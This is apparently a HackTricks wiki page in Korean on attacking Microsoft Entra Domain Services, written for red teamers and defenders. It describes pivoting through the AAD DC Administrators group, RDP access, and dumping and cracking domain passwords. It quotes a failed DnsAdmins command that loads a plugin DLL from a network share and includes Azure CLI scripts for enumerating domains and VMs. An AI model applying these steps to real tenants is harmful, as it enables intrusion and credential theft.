Az - Microsoft Entra Domain Services

Reading time: 5 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Domain Services

Microsoft Entra Domain Services는 도메인 컨트롤러를 관리할 필요 없이 Azure에서 Active Directory를 배포할 수 있게 해줍니다 (실제로 도메인 컨트롤러에 대한 접근 권한도 없습니다).

주요 목표는 현대 인증 방법을 사용할 수 없는 레거시 애플리케이션을 클라우드에서 실행할 수 있도록 하거나, 디렉터리 조회가 항상 온프레미스 AD DS 환경으로 돌아가기를 원하지 않는 경우입니다.

Entra ID에서 생성된 사용자(다른 Active Directory에서 동기화되지 않은 사용자)를 AD 도메인 서비스에 동기화하려면 사용자의 비밀번호를 새 비밀번호로 변경해야 합니다. 실제로 비밀번호가 변경되기 전까지 사용자는 Microsoft Entra ID에서 도메인 서비스로 동기화되지 않습니다.

warning

새 Active Directory 도메인을 생성하더라도 완전히 관리할 수는 없습니다 (일부 잘못된 구성을 이용하지 않는 한), 즉 기본적으로 AD에서 직접 사용자를 생성할 수 없습니다. 사용자는 Entra ID에서 사용자를 동기화하여 생성합니다. 모든 사용자(다른 온프레미스 AD에서 동기화된 사용자 포함), 클라우드 사용자(Entra ID에서 생성된 사용자) 또는 더욱 필터링할 수 있습니다.

note

일반적으로 새로운 도메인의 구성 유연성이 부족하고 AD가 보통 온프레미스에 이미 존재하기 때문에, 이는 Entra ID와 AD 간의 주요 통합은 아니지만, 이를 타협하는 방법을 아는 것은 여전히 흥미롭습니다.

Pivoting

생성된 AAD DC Administrators 그룹의 구성원은 관리 도메인에 도메인 가입된 VM에서 로컬 관리자 권한을 부여받습니다 (하지만 도메인 컨트롤러에서는 아닙니다) 왜냐하면 이들이 로컬 관리자 그룹에 추가되기 때문입니다. 이 그룹의 구성원은 원격 데스크톱을 사용하여 도메인 가입된 VM에 원격으로 연결할 수 있으며, 또한 다음 그룹의 구성원입니다:

  • Denied RODC Password Replication Group: 이 그룹은 RODC(읽기 전용 도메인 컨트롤러)에서 비밀번호를 캐시할 수 없는 사용자 및 그룹을 지정합니다.
  • Group Policy Creators Owners: 이 그룹은 구성원이 도메인에서 그룹 정책을 생성할 수 있게 해줍니다. 그러나 구성원은 사용자나 그룹에 그룹 정책을 적용하거나 기존 GPO를 편집할 수 없으므로 이 환경에서는 그리 흥미롭지 않습니다.
  • DnsAdmins: 이 그룹은 DNS 설정을 관리할 수 있게 해주며, 과거에 권한 상승 및 도메인 타협을 위해 악용되었습니다, 그러나 이 환경에서 공격을 테스트한 결과 취약점이 패치된 것으로 확인되었습니다:
text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5

AD 내에서 이러한 권한을 부여하려면 AAD DC Administrators 그룹이 이전 그룹의 구성원으로 만들어지고, GPO **AADDC Computers GPO**가 도메인 그룹 **AAD DC Administrators**의 모든 구성원을 로컬 관리자에 추가합니다.

Entra ID에서 Domain Services로 생성된 AD로의 피벗은 간단합니다. AAD DC Administrators 그룹에 사용자를 추가하고, 도메인의 모든 머신에 RDP로 접근하면 데이터를 훔치고 도메인을 타협할 수 있습니다.

그러나 도메인에서 Entra ID로의 피벗은 쉽지 않습니다. 도메인에서 Entra ID로 동기화되는 것이 없기 때문입니다. 그러나 항상 메타데이터를 확인하여 할당된 관리 ID가 흥미로운 권한을 가질 수 있습니다. 또한 도메인에서 모든 사용자 비밀번호를 덤프하고 이를 크랙하여 Entra ID / Azure에 로그인해 보십시오.

note

과거에 이 관리 AD에서 DC를 타협할 수 있는 다른 취약점이 발견되었음을 유의하십시오, 이와 같은. DC를 타협한 공격자는 Azure 관리자들이 알아차리거나 제거할 수 없도록 쉽게 지속성을 유지할 수 있습니다.

Enumeration

bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기